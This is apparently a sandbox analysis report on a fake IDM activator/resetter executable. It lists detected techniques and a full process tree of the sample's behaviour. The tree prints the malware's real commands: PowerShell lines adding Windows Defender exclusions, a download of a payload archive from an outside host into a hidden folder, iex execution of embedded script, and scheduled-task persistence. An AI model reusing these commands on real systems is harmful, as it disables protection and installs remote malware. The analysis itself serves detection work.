7822fa6c35cbd1cfb95c780970deef14d8b53c62ade3a4bcf63c494c3f2e5bbd

Resubmissions

14-02-2025 03:10

250214-dpckqs1kaw 8

21-10-2024 08:33

241021-kfvhhsydpl 8

Analysis

max time kernel
172s
max time network
174s
platform
windows11-21h2_x64
resource
win11-20250210-en
resource tags

arch:x64arch:x86image:win11-20250210-enlocale:en-usos:windows11-21h2-x64system
submitted
14-02-2025 03:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

IDM 6.xx Activator or Resetter v3.3.exe
Size

522KB
MD5

b2bb695b656dfb91e01967de3a8beee3
SHA1

30ebac4eb84aa036bed8f8931b6493348b87108a
SHA256

7822fa6c35cbd1cfb95c780970deef14d8b53c62ade3a4bcf63c494c3f2e5bbd
SHA512

4c052ae34c2063b2d2ec8a9a877eaa4c20906d979d94305430bb00a3e7991ec7349b7a3965a0479dd48a1763bdb66e449a5be4c8d9c59abcaa3f180fedf8d269
SSDEEP

12288:Mk5L2FqPzzhB4kLSQ4ybubjWlj+o2sjdg:M2yQPvnlS7ybubjKj+NsRg

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	1892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3868	powershell.exe
1268	powershell.exe
2064	powershell.exe
3564	powershell.exe
1892	powershell.exe
1156	powershell.exe
1752	powershell.exe
436	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
43	876	Process not Found
49	128	msedge.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3988	attrib.exe
1684	attrib.exe

Executes dropped EXE 7 IoCs

pid	Process
4752	7za.exe
4688	7za.exe
4100	7za.exe
3172	7za.exe
4520	7za.exe
2200	7za.exe
4888	NSudo86x.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2280	sc.exe
4056	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NSudo86x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IDM 6.xx Activator or Resetter v3.3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
424	MicrosoftEdgeUpdate.exe

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	reg.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	reg.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1884	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2555750229-3157966592-4138184120-1000_Classes\WOW6432Node\CLSID\IAS_TEST	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2555750229-3157966592-4138184120-1000_Classes\Wow6432Node\CLSID\IAS_TEST	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2555750229-3157966592-4138184120-1000_Classes\WOW6432Node\CLSID\IAS_TEST\	reg.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
4900	reg.exe
1540	reg.exe
2264	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4868	notepad.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1992	schtasks.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
3868	powershell.exe
1752	powershell.exe
1752	powershell.exe
3868	powershell.exe
436	powershell.exe
436	powershell.exe
1156	powershell.exe
1156	powershell.exe
2012	powershell.exe
2012	powershell.exe
4924	powershell.exe
4924	powershell.exe
1268	powershell.exe
1604	powershell.exe
1604	powershell.exe
1268	powershell.exe
1604	powershell.exe
1604	powershell.exe
1604	powershell.exe
1604	powershell.exe
2064	powershell.exe
2064	powershell.exe
3564	powershell.exe
3564	powershell.exe
1892	powershell.exe
1892	powershell.exe
128	msedge.exe
128	msedge.exe
1140	msedge.exe
1140	msedge.exe
4756	powershell.exe
4756	powershell.exe
4756	powershell.exe
5092	msedge.exe
5092	msedge.exe
1316	identity_helper.exe
1316	identity_helper.exe
4076	powershell.exe
4076	powershell.exe
4888	NSudo86x.exe
4888	NSudo86x.exe
3984	msedge.exe
3984	msedge.exe
4348	msedge.exe
4348	msedge.exe
1604	msedge.exe
1604	msedge.exe
2044	identity_helper.exe
2044	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4752	7za.exe
Token: 35	4752	7za.exe
Token: SeSecurityPrivilege	4752	7za.exe
Token: SeSecurityPrivilege	4752	7za.exe
Token: SeRestorePrivilege	4688	7za.exe
Token: 35	4688	7za.exe
Token: SeSecurityPrivilege	4688	7za.exe
Token: SeSecurityPrivilege	4688	7za.exe
Token: SeRestorePrivilege	4100	7za.exe
Token: 35	4100	7za.exe
Token: SeSecurityPrivilege	4100	7za.exe
Token: SeSecurityPrivilege	4100	7za.exe
Token: SeRestorePrivilege	3172	7za.exe
Token: 35	3172	7za.exe
Token: SeSecurityPrivilege	3172	7za.exe
Token: SeSecurityPrivilege	3172	7za.exe
Token: SeRestorePrivilege	4520	7za.exe
Token: 35	4520	7za.exe
Token: SeSecurityPrivilege	4520	7za.exe
Token: SeSecurityPrivilege	4520	7za.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeRestorePrivilege	2200	7za.exe
Token: 35	2200	7za.exe
Token: SeSecurityPrivilege	2200	7za.exe
Token: SeSecurityPrivilege	2200	7za.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	4076	powershell.exe
Token: 52347920397107220	4888	NSudo86x.exe
Token: SeAssignPrimaryTokenPrivilege	4888	NSudo86x.exe
Token: SeIncreaseQuotaPrivilege	4888	NSudo86x.exe
Token: SeTcbPrivilege	4888	NSudo86x.exe
Token: SeSecurityPrivilege	4888	NSudo86x.exe
Token: SeTakeOwnershipPrivilege	4888	NSudo86x.exe
Token: SeLoadDriverPrivilege	4888	NSudo86x.exe
Token: SeProfSingleProcessPrivilege	4888	NSudo86x.exe
Token: SeIncBasePriorityPrivilege	4888	NSudo86x.exe
Token: SeCreatePermanentPrivilege	4888	NSudo86x.exe
Token: SeBackupPrivilege	4888	NSudo86x.exe
Token: SeRestorePrivilege	4888	NSudo86x.exe
Token: SeShutdownPrivilege	4888	NSudo86x.exe
Token: SeDebugPrivilege	4888	NSudo86x.exe
Token: SeAuditPrivilege	4888	NSudo86x.exe
Token: SeSystemEnvironmentPrivilege	4888	NSudo86x.exe
Token: SeChangeNotifyPrivilege	4888	NSudo86x.exe
Token: SeUndockPrivilege	4888	NSudo86x.exe
Token: SeManageVolumePrivilege	4888	NSudo86x.exe
Token: SeImpersonatePrivilege	4888	NSudo86x.exe
Token: SeCreateGlobalPrivilege	4888	NSudo86x.exe
Token: 31	4888	NSudo86x.exe
Token: SeIncreaseQuotaPrivilege	4888	NSudo86x.exe
Token: SeSecurityPrivilege	4888	NSudo86x.exe
Token: SeTakeOwnershipPrivilege	4888	NSudo86x.exe
Token: SeLoadDriverPrivilege	4888	NSudo86x.exe
Token: SeSystemProfilePrivilege	4888	NSudo86x.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe

Suspicious use of SendNotifyMessage 28 IoCs

pid	Process
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
1140	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe
4348	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4072	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 4392	4112	IDM 6.xx Activator or Resetter v3.3.exe	85
PID 4112 wrote to memory of 4392	4112	IDM 6.xx Activator or Resetter v3.3.exe	85
PID 4112 wrote to memory of 4392	4112	IDM 6.xx Activator or Resetter v3.3.exe	85
PID 4392 wrote to memory of 3988	4392	cmd.exe	87
PID 4392 wrote to memory of 3988	4392	cmd.exe	87
PID 4392 wrote to memory of 3988	4392	cmd.exe	87
PID 4392 wrote to memory of 4752	4392	cmd.exe	88
PID 4392 wrote to memory of 4752	4392	cmd.exe	88
PID 4392 wrote to memory of 4752	4392	cmd.exe	88
PID 4392 wrote to memory of 4688	4392	cmd.exe	89
PID 4392 wrote to memory of 4688	4392	cmd.exe	89
PID 4392 wrote to memory of 4688	4392	cmd.exe	89
PID 4392 wrote to memory of 4100	4392	cmd.exe	90
PID 4392 wrote to memory of 4100	4392	cmd.exe	90
PID 4392 wrote to memory of 4100	4392	cmd.exe	90
PID 4392 wrote to memory of 3172	4392	cmd.exe	92
PID 4392 wrote to memory of 3172	4392	cmd.exe	92
PID 4392 wrote to memory of 3172	4392	cmd.exe	92
PID 4392 wrote to memory of 4520	4392	cmd.exe	93
PID 4392 wrote to memory of 4520	4392	cmd.exe	93
PID 4392 wrote to memory of 4520	4392	cmd.exe	93
PID 4112 wrote to memory of 5112	4112	IDM 6.xx Activator or Resetter v3.3.exe	94
PID 4112 wrote to memory of 5112	4112	IDM 6.xx Activator or Resetter v3.3.exe	94
PID 4112 wrote to memory of 5112	4112	IDM 6.xx Activator or Resetter v3.3.exe	94
PID 4112 wrote to memory of 4592	4112	IDM 6.xx Activator or Resetter v3.3.exe	96
PID 4112 wrote to memory of 4592	4112	IDM 6.xx Activator or Resetter v3.3.exe	96
PID 4112 wrote to memory of 4592	4112	IDM 6.xx Activator or Resetter v3.3.exe	96
PID 5112 wrote to memory of 3344	5112	cmd.exe	98
PID 5112 wrote to memory of 3344	5112	cmd.exe	98
PID 5112 wrote to memory of 3344	5112	cmd.exe	98
PID 5112 wrote to memory of 2428	5112	cmd.exe	99
PID 5112 wrote to memory of 2428	5112	cmd.exe	99
PID 5112 wrote to memory of 2428	5112	cmd.exe	99
PID 5112 wrote to memory of 4744	5112	cmd.exe	100
PID 5112 wrote to memory of 4744	5112	cmd.exe	100
PID 5112 wrote to memory of 4744	5112	cmd.exe	100
PID 5112 wrote to memory of 544	5112	cmd.exe	101
PID 5112 wrote to memory of 544	5112	cmd.exe	101
PID 5112 wrote to memory of 544	5112	cmd.exe	101
PID 4592 wrote to memory of 1388	4592	cmd.exe	102
PID 4592 wrote to memory of 1388	4592	cmd.exe	102
PID 5112 wrote to memory of 1684	5112	cmd.exe	104
PID 5112 wrote to memory of 1684	5112	cmd.exe	104
PID 5112 wrote to memory of 1684	5112	cmd.exe	104
PID 1388 wrote to memory of 2280	1388	cmd.exe	105
PID 1388 wrote to memory of 2280	1388	cmd.exe	105
PID 1388 wrote to memory of 3392	1388	cmd.exe	106
PID 1388 wrote to memory of 3392	1388	cmd.exe	106
PID 5112 wrote to memory of 3868	5112	cmd.exe	107
PID 5112 wrote to memory of 3868	5112	cmd.exe	107
PID 5112 wrote to memory of 3868	5112	cmd.exe	107
PID 1388 wrote to memory of 3472	1388	cmd.exe	108
PID 1388 wrote to memory of 3472	1388	cmd.exe	108
PID 1388 wrote to memory of 1604	1388	cmd.exe	109
PID 1388 wrote to memory of 1604	1388	cmd.exe	109
PID 1388 wrote to memory of 1092	1388	cmd.exe	110
PID 1388 wrote to memory of 1092	1388	cmd.exe	110
PID 1388 wrote to memory of 688	1388	cmd.exe	111
PID 1388 wrote to memory of 688	1388	cmd.exe	111
PID 1388 wrote to memory of 4204	1388	cmd.exe	112
PID 1388 wrote to memory of 4204	1388	cmd.exe	112
PID 4204 wrote to memory of 1940	4204	cmd.exe	113
PID 4204 wrote to memory of 1940	4204	cmd.exe	113
PID 4204 wrote to memory of 2152	4204	cmd.exe	114

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3988	attrib.exe
1684	attrib.exe

C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3.exe
"C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\main.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\SysWOW64\attrib.exe
    ATTRIB -S +H .
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3988
- - C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
    7za e files.tmp -ptmp@tmp420 -aoa IDM0.bat
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
    7za e files.tmp -ptmp@tmp420 -aoa IDM.bat
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4688
- - C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
    7za e files.tmp -ptmp@tmp420 -aoa NSudo86x.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- - C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
    7za e files.tmp -ptmp@tmp420 -aoa AB2EF.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- - C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
    7za e files.tmp -ptmp@tmp420 -aoa UpdateTask.xml
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM0.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\SysWOW64\reg.exe
    REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3344
- - C:\Windows\SysWOW64\find.exe
    FIND /I "1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2428
- - C:\Windows\SysWOW64\reg.exe
    REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:4744
- - C:\Windows\SysWOW64\find.exe
    FIND /I "x86"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:544
- - C:\Windows\SysWOW64\attrib.exe
    ATTRIB +S +H "C:\Users\Admin\AppData\Roaming\DLL"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1684
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DLL" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3868
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL -Command Add-MpPreference -ExclusionProcess "dlIhost.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1268
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL -Command Add-MpPreference -ExclusionProcess "NSudo86x.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2064
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL -Command Add-MpPreference -ExclusionProcess "7za.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3564
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL -Command "Invoke-WebRequest 'https://www.crackingcity.com/VScan/dlIhost.7z' -OutFile 'C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1892
- - C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
    7za e "C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z" -o"C:\Users\Admin\AppData\Roaming\DLL" -pun#912345678@rar -aoa
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /xml ".\UpdateTask.xml" /tn "UpdateTask" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" r1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1388
  - - C:\Windows\System32\sc.exe
      sc query Null
      4⤵
      Launches sc.exe
      PID:2280
  - - C:\Windows\System32\find.exe
      find /i "RUNNING"
      4⤵
      PID:3392
  - - C:\Windows\System32\findstr.exe
      findstr /v "$" "IDM.bat"
      4⤵
      PID:3472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1604
  - - C:\Windows\System32\reg.exe
      reg query "HKCU\Console" /v ForceV2
      4⤵
      PID:1092
  - - C:\Windows\System32\find.exe
      find /i "0x0"
      4⤵
      PID:688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c echo prompt $E | cmd
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4204
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "
        5⤵
        
        PID:1940
    - - C:\Windows\System32\cmd.exe
        
        cmd
        5⤵
        
        PID:2152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat') -split ':PowerShellTest:\s*';iex ($f[1])"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1752
  - - C:\Windows\System32\find.exe
      find /i "FullLanguage"
      4⤵
      PID:1228
  - - C:\Windows\System32\fltMC.exe
      fltmc
      4⤵
      PID:4936
  - - C:\Windows\System32\conhost.exe
      conhost.exe powershell.exe "$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); $t.DefinePInvokeMethod('GetStdHandle', 'kernel32.dll', 22, 1, [IntPtr], @([Int32]), 1, 3).SetImplementationFlags(128); $t.DefinePInvokeMethod('SetConsoleMode', 'kernel32.dll', 22, 1, [Boolean], @([IntPtr], [Int32]), 1, 3).SetImplementationFlags(128); $k=$t.CreateType(); $b=$k::SetConsoleMode($k::GetStdHandle(-10), 0x0080); & cmd.exe '/c' '"""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat""" -el r1 -qedit'"
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:4072
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); $t.DefinePInvokeMethod('GetStdHandle', 'kernel32.dll', 22, 1, [IntPtr], @([Int32]), 1, 3).SetImplementationFlags(128); $t.DefinePInvokeMethod('SetConsoleMode', 'kernel32.dll', 22, 1, [Boolean], @([IntPtr], [Int32]), 1, 3).SetImplementationFlags(128); $k=$t.CreateType(); $b=$k::SetConsoleMode($k::GetStdHandle(-10), 0x0080); & cmd.exe '/c' '\"C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat\" -el r1 -qedit'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:436
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" -el r1 -qedit"
        6⤵
        
        PID:4016
        
        C:\Windows\System32\sc.exe
        
        sc query Null
        7⤵
        Launches sc.exe
        
        PID:4056
        
        C:\Windows\System32\find.exe
        
        find /i "RUNNING"
        7⤵
        
        PID:920
        
        C:\Windows\System32\findstr.exe
        
        findstr /v "$" "IDM.bat"
        7⤵
        
        PID:4620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ver
        7⤵
        
        PID:656
        
        C:\Windows\System32\reg.exe
        
        reg query "HKCU\Console" /v ForceV2
        7⤵
        
        PID:4908
        
        C:\Windows\System32\find.exe
        
        find /i "0x0"
        7⤵
        
        PID:3336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c echo prompt $E | cmd
        7⤵
        
        PID:860
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "
        8⤵
        
        PID:2624
        
        C:\Windows\System32\cmd.exe
        
        cmd
        8⤵
        
        PID:2820
        
